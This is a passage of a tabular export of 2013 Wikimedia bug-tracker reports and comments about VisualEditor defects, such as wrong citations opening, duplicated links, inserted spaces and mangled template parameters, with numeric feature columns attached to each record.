*** This bug has been marked as a duplicate of bug 50474 ***",,,1385381556,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-weyb3zctidhjrppnilwj,task_subcomment,,True,c1,3,True,,,21,,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,8.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,3.0833333333333335,0.6666666666666666,"Merging this with bug 50474.

*** This bug has been marked as a duplicate of bug 50474 ***"
250635,VisualEditor: reference editing bringing you to the wrong citation (template problem?),"The observation: I was trying to make this edit - http://en.wikipedia.org/w/index.php?title=Friedrich_Nietzsche&curid=10671&diff=563544089&oldid=562894275 - Opened article in VE, saw the ""as as"" was in footnote 134 ... couldn't edit there ... went up to reference 134, clicked on it to edit, and it was the wrong reference link. It actually gave me the reference that's numbered 220 (in that version) to edit!",,,1373401725,,PHID-USER-gfaq55vdypjmzz6nl2kn,False,,,PHID-TASK-weyb3zctidhjrppnilwj,task_subcomment,,True,c1,3,False,,,1,,0.0,0.0,0.0,0.0,1.0,1.0,3.0,0.0,0.0,0.0,7.0,1.0,0.0,0.0,0.0,3.0,0.0,4.0,15.0,0.0,4.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,1.0,4.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,1.0,0.0,11.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,6.0,4.0,8.0,0.0,1.0,8.0,0.0,0.0,1.0,0.0,6.0,0.0,4.0,0.0,7.0,15.0,1.0,0.0,3.0,0.0,7.0,0.0,1.0,0.0,1.0,1.0,0.0,0.0,0.0,3.4583333333333335,0.6805555555555556,"The observation: I was trying to make this edit - URL - Opened article in VE, saw the ""as as"" was in footnote 134 ... couldn't edit there ... went up to reference 134, clicked on it to edit, and it was the wrong reference link. It actually gave me the reference that's numbered 220 (in that version) to edit!"
53054,VisualEditor: duplicate links created if parts of the link are differently italicised/bolded,"See https://en.wikipedia.org/w/index.php?title=User:Okeyes_%28WMF%29/sandbox&diff=next&oldid=563541289 for example; It should be [[''death'' metal]].

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1373392500,1394501875.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-2j6ctllml6qqxhzmqlmr,task_description,resolved,True,c1,3,False,False,False,1,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,3.3714285714285714,0.6571428571428571,"See URL for example; It should be [[''death'' metal]].

--------------------------
**Version**: unspecified
**Severity**: normal"
250416,VisualEditor: duplicate links created if parts of the link are differently italicised/bolded,"Merging with bug 50098.

*** This bug has been marked as a duplicate of bug 50098 ***",,,1394501875,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-2j6ctllml6qqxhzmqlmr,task_subcomment,,True,c1,3,True,,,36,,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,9.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,3.0434782608695654,0.6521739130434783,"Merging with bug 50098.

*** This bug has been marked as a duplicate of bug 50098 ***"
250413,VisualEditor: duplicate links created if parts of the link are differently italicised/bolded,"With the sole exception of plaint text followed by italic text, it seems that a separate link is created for each part of the link that has a different bold/italic status:

https://en.wikipedia.org/w/index.php?title=User:Thryduulf/sandbox4&diff=574094377&oldid=574094235
https://en.wikipedia.org/w/index.php?title=User:Thryduulf/sandbox4&diff=574094083&oldid=574093861

To reproduce:
1. Create or edit any page that has consecutive words that have different italic/bold annotation, i.e. any of
''one'' two
'''un''' deaux
''ein'' '''zwei'''
'''un''' ''dai''
'''uno''' due

2. select both words and make the selection a link (internal or external).

Expected behaviour: One link is created, e.g. [[link|''one'' two]]
Actual behaviour: Two links are created, e.g. [[link|''one''']] [[link|two]]",,,1379885198,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-2j6ctllml6qqxhzmqlmr,task_subcomment,,True,c1,3,False,,,11,,1.5,0.0,0.0,1.5,0.0,7.5,0.0,0.0,0.0,0.0,1.5,16.0,0.0,0.0,0.0,0.0,0.0,1.0,4.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.5,0.5,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,1.5,0.5,11.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,3.0,1.5,5.0,0.5,1.5,5.5,0.0,0.0,0.0,0.0,2.5,0.0,3.5,0.0,0.5,4.0,2.0,0.0,8.0,0.0,0.5,0.0,1.5,1.5,0.0,0.0,0.0,0.0,7.0,3.2222222222222223,0.5802469135802468,"With the sole exception of plaint text followed by italic text, it seems that a separate link is created for each part of the link that has a different bold/italic status:

URL
URL

To reproduce:
1. Create or edit any page that has consecutive words that have different italic/bold annotation, i.e. any of
''one'' two
'''un''' deaux
''ein'' '''zwei'''
'''un''' ''dai''
'''uno''' due

2. select both words and make the selection a link (internal or external).

Expected behaviour: One link is created, e.g. [[link|''one'' two]]
Actual behaviour: Two links are created, e.g. [[link|''one''']] [[link|two]]"
250409,VisualEditor: duplicate links created if parts of the link are differently italicised/bolded,"Is this still happening? 
In my sandbox just now, VE changed [[Ancient Carthage]] to [[Ancient Carthage|''Ancient'' Carthage]] as I would expect.

https://en.wikipedia.org/w/index.php?title=User%3AThryduulf%2Fsandbox2&diff=570143239&oldid=568345382",,,1377447358,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-2j6ctllml6qqxhzmqlmr,task_subcomment,,True,c1,3,False,,,7,,0.0,0.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,6.0,0.0,8.0,8.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,28.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,6.0,8.0,6.0,3.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,11.0,3.611111111111111,0.7777777777777778,"Is this still happening? 
In my sandbox just now, VE changed [[Ancient Carthage]] to [[Ancient Carthage|''Ancient'' Carthage]] as I would expect.

URL"
53048,VisualEditor: The transparent color that shows the template goes up to the previous element instead of the top of the template,"a screenshot with the problem

To reproduce:

1. Go to https://en.wikipedia.org/wiki/Boris_Ponomarev?veaction=edit
2. Click the template at the bottom of the article.

Observed: The transparent bluish color that shows the template tool (puzzle piece) goes all the way up to the paragraph that precedes the page, even though there's a lot of spacing between them because of the infobox on the side.

Expected: The transparent color must only cover the template itself and not other elements.

See the screenshot.

Tested on Firefox 22.

--------------------------
**Version**: unspecified
**Severity**: normal

**Attached**: {F11723}",Needs Triage,90.0,1373385480,1385381652.0,PHID-USER-xfe43w2lb5gpvglf4coa,False,,False,PHID-TASK-6uqz7k3i6hhy6r5mf4qh,task_description,resolved,True,c1,3,False,False,False,1,,0.5,0.0,0.0,0.0,1.0,4.0,0.0,1.0,0.5,0.0,0.0,0.0,0.0,1.0,0.5,0.0,0.0,2.0,8.0,0.0,0.5,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.5,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,2.5,0.0,0.0,0.0,1.0,0.0,12.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,9.5,0.0,10.0,1.5,1.0,10.0,0.0,0.0,0.0,0.0,3.0,0.0,1.5,0.0,1.5,8.0,1.5,0.0,0.0,0.0,1.5,0.0,1.0,1.0,1.5,0.5,0.0,0.0,0.5,3.809090909090909,0.6712121212121211,"a screenshot with the problem

To reproduce:

1. Go to URL
2. Click the template at the bottom of the article.

Observed: The transparent bluish color that shows the template tool (puzzle piece) goes all the way up to the paragraph that precedes the page, even though there's a lot of spacing between them because of the infobox on the side.

Expected: The transparent color must only cover the template itself and not other elements.

See the screenshot.

Tested on Firefox 22.

--------------------------
**Version**: unspecified
**Severity**: normal

**Attached**: {F11723}"
250127,VisualEditor: The transparent color that shows the template goes up to the previous element instead of the top of the template,"This is caused by the phantom starting from the logical position of the content, rather than the rendered position (due to the width being 100%). Merging with bug 50395.

*** This bug has been marked as a duplicate of bug 50395 ***",,,1385381652,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-6uqz7k3i6hhy6r5mf4qh,task_subcomment,,True,c1,3,True,,,21,,0.0,0.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,15.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,6.0,6.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,0.0,0.0,0.0,3.6037735849056602,0.6981132075471698,"This is caused by the phantom starting from the logical position of the content, rather than the rendered position (due to the width being 100%). Merging with bug 50395.

*** This bug has been marked as a duplicate of bug 50395 ***"
53024,VisualEditor: adding spaces?,"Possibly the most vanilla dirty diff ever, if it is a dirty diff - in https://en.wikipedia.org/w/index.php?title=The_Painted_Bird&diff=563388980&oldid=544897993 the VE has added an extra space (before ""novel"").

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1373365380,1379455266.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-6d6mtcjbaxy3ev26rxls,task_description,resolved,True,c1,3,False,False,True,1,,0.0,0.0,0.0,0.0,0.0,12.0,2.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,2.0,10.0,2.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,6.0,2.0,0.0,4.0,0.0,2.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,0.0,3.489795918367347,0.7346938775510204,"Possibly the most vanilla dirty diff ever, if it is a dirty diff - in URL the VE has added an extra space (before ""novel"").

--------------------------
**Version**: unspecified
**Severity**: normal"
249077,VisualEditor: adding spaces?,"This seems to be bug 48570

*** This bug has been marked as a duplicate of bug 48570 ***",,,1379455266,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-6d6mtcjbaxy3ev26rxls,task_subcomment,,True,c1,3,False,,,11,,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,8.0,8.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,4.0,0.0,8.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,2.9583333333333335,0.625,"This seems to be bug 48570

*** This bug has been marked as a duplicate of bug 48570 ***"
249070,VisualEditor: adding spaces?,"It might be worth noting that spaces keep being added each time you edit an article with this bug (some examples here: https://fr.wikipedia.org/wiki/Wikip%C3%A9dia:%C3%89diteurVisuel/Avis#Insertion_d.27une_espace_suppl.C3.A9mentaire_.C3.A0_chaque_.C3.A9dition , it seems related to the colon), and that some of them are not even real whitespaces.",,,1379007082,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-6d6mtcjbaxy3ev26rxls,task_subcomment,,True,c1,3,False,,,10,,7.0,0.0,0.0,2.0,2.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,9.0,2.0,4.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,4.0,18.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,7.0,4.0,4.0,2.0,13.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,9.0,11.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,3.7777777777777777,0.9333333333333333,"It might be worth noting that spaces keep being added each time you edit an article with this bug (some examples here: URL , it seems related to the colon), and that some of them are not even real whitespaces."
249060,VisualEditor: adding spaces?,"Other examples:

In this diff, the second whitespace was intended, but the first one wasn't:
https://fr.wikipedia.org/w/index.php?diff=94475506

In the subsequent edit, the user tried to remove the space that was inserted by VE, and not only was he not able to remove it, but VE actually added /another/ space:
https://fr.wikipedia.org/w/index.php?diff=94475570&oldid=94475506

I notice that in these 2 cases, as well as in the case reported in comment 1, there's an adjacent colon. Dunno if it's related.",,,1374254808,,PHID-USER-z6nzrwuaij3spgyg23jt,False,,,PHID-TASK-6d6mtcjbaxy3ev26rxls,task_subcomment,,True,c1,3,False,,,2,,0.0,0.0,0.0,2.0,3.0,6.0,0.0,0.0,0.0,1.0,7.0,1.0,0.0,1.0,1.0,1.0,0.0,7.0,13.0,0.0,2.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,2.0,3.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,1.0,1.0,0.0,0.0,1.0,1.0,12.0,0.0,2.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,7.0,4.0,10.0,2.0,3.0,10.0,0.0,0.0,0.0,0.0,2.0,1.0,3.0,0.0,4.0,13.0,3.0,0.0,0.0,0.0,4.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,3.4893617021276597,0.6382978723404256,"Other examples:

In this diff, the second whitespace was intended, but the first one wasn't:
URL

In the subsequent edit, the user tried to remove the space that was inserted by VE, and not only was he not able to remove it, but VE actually added /another/ space:
URL

I notice that in these 2 cases, as well as in the case reported in comment 1, there's an adjacent colon. Dunno if it's related."
249053,VisualEditor: adding spaces?,Talking about spaces: https://en.wikipedia.org/w/index.php?title=Genie_%28feral_child%29&diff=564429158&oldid=564425048,,,1374227956,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-6d6mtcjbaxy3ev26rxls,task_subcomment,,True,c1,3,False,,,2,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,40.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,40.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,4.4,1.0,Talking about spaces: URL
249047,VisualEditor: adding spaces?,"Same thing here after ""équipes"": http://fr.wikipedia.org/w/index.php?title=Mafia_%28jeu%29&diff=94892395&oldid=91395852",,,1373626132,,PHID-USER-mapumhlp3gw5qefhvafn,False,,,PHID-TASK-6d6mtcjbaxy3ev26rxls,task_subcomment,,True,c1,3,False,,,1,,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.4444444444444446,0.8888888888888888,"Same thing here after ""équipes"": URL"
53018,"VisualEditor: ""clear formatting"" does not remove links","On enwiki, at least. If you highlight a link, format-clearing does nothing; if you click on the link to the point where the system registers (i.e., the link icon pops up), ditto.

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1373361000,1373504485.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-karzxpqg6fmjzovu77r7,task_description,resolved,True,c1,3,False,False,True,1,,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,3.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,11.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,3.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,8.0,0.0,7.0,5.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,11.0,2.0,0.0,0.0,0.0,3.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,2.0,3.5901639344262297,0.6885245901639344,"On enwiki, at least. If you highlight a link, format-clearing does nothing; if you click on the link to the point where the system registers (i.e., the link icon pops up), ditto.

--------------------------
**Version**: unspecified
**Severity**: normal"
248445,"VisualEditor: ""clear formatting"" does not remove links","Yeah, this is a really irritating regression; merging with the other.

*** This bug has been marked as a duplicate of bug 50461 ***",,,1373504485,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-karzxpqg6fmjzovu77r7,task_subcomment,,True,c1,3,True,,,1,,0.0,0.0,0.0,3.0,0.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,9.0,3.0,3.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,6.0,6.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,3.40625,0.78125,"Yeah, this is a really irritating regression; merging with the other.

*** This bug has been marked as a duplicate of bug 50461 ***"
248439,"VisualEditor: ""clear formatting"" does not remove links","Yes, the toolbar button (""No"" symbol) gives the impression that it should remove every skerrick of formatting from the text, including links.",,,1373364187,,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,,PHID-TASK-karzxpqg6fmjzovu77r7,task_subcomment,,True,c1,3,False,,,1,,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,10.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,7.0,3.0,0.0,14.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,3.0,10.0,0.0,0.0,7.0,0.0,3.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,4.137931034482759,0.8620689655172413,"Yes, the toolbar button (""No"" symbol) gives the impression that it should remove every skerrick of formatting from the text, including links."
53017,VisualEditor: Template dialog crushing parameters together and nowiking links,"See https://en.wikipedia.org/w/index.php?title=Vicarious_Visions&diff=563488422&oldid=563388782 and https://en.wikipedia.org/w/index.php?title=Vicarious_Visions&action=edit&oldid=563488422 for how the markup for that appears.

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1373359380,1383004078.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-3ngsdaq55c6cqyub75es,task_description,resolved,True,c1,3,False,False,False,1,,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,13.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,17.0,3.0,3.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.8,0.6333333333333333,"See URL and URL for how the markup for that appears.

--------------------------
**Version**: unspecified
**Severity**: normal"
248399,VisualEditor: Template dialog crushing parameters together and nowiking links,"This is now fixed (and has been for some time, I believe). Sorry for the disruption.",,,1383004078,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-3ngsdaq55c6cqyub75es,task_subcomment,,True,c1,3,True,,,17,,5.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,10.0,14.0,0.0,5.0,14.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,10.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.2857142857142856,0.9047619047619048,"This is now fixed (and has been for some time, I believe). Sorry for the disruption."
248392,VisualEditor: Template dialog crushing parameters together and nowiking links,Ditto - https://pl.wikipedia.org/w/index.php?title=Wikipedysta:Sir_Lothar/brudnopis2&diff=prev&oldid=37137604,,,1375808870,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-3ngsdaq55c6cqyub75es,task_subcomment,,True,c1,3,False,,,5,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,Ditto - URL
248384,VisualEditor: Template dialog crushing parameters together and nowiking links,"I don't think that this is just a problem with browser extensions misbehaving over links.  This edit:

https://pl.wikipedia.org/w/index.php?title=Rory_MacDonald&curid=2849478&diff=37138750&oldid=36592431

involves no links, and yet the data is still placed after a line break and smashed up against the following parameter, instead of up on the previous line where it belongs.",,,1375121749,,PHID-USER-uf3buojo4ceizjywvyn5,False,,,PHID-TASK-3ngsdaq55c6cqyub75es,task_subcomment,,True,c1,3,False,,,4,,0.0,0.0,0.0,2.0,2.0,2.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,2.0,12.0,14.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,9.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,17.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,3.0,0.0,0.0,2.0,0.0,0.0,9.0,3.0,5.0,3.0,3.0,14.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,3.0,14.0,2.0,0.0,0.0,0.0,3.0,0.0,2.0,3.0,0.0,3.0,0.0,0.0,0.0,4.017241379310345,0.8103448275862069,"I don't think that this is just a problem with browser extensions misbehaving over links.  This edit:

URL

involves no links, and yet the data is still placed after a line break and smashed up against the following parameter, instead of up on the previous line where it belongs."
248376,VisualEditor: Template dialog crushing parameters together and nowiking links,"Some broken browser extension sometimes adds lots of  <a class=""ktg6us78hf8vdu7"" href=""javascript:void(0)"">...</a> tags around items which is tracked by and edit filter. Attempting to clean these up with the VE worked well in the main text but failed in the templates changing

{{Infobox company
...
| foundation     = [[1990 in <a class=""ktg6us78hf8vdu7"" href=""javascript:void(0)""><a class=""ktg6us78hf8vdu7"" href=""javascript:void(0)"">video</a></a> gaming|1990]]
| products       = [[Crash Bandicoot|''Crash Bandicoot'' series]] (2002-2004) (2013- )<br>[[Skylanders|''Skylanders'' series]] (2011-2013)0)"">Guitar</a></a> Hero|''Guitar Hero'' series]] (2007–2010) 
...
}}

Into
{{Infobox company
|<nowiki>1990]]</nowiki>
|''Guitar Hero''<nowiki> series]] (2007–2010) </nowiki>
...
| foundation     = <nowiki>[[1990 in video gaming</nowiki>
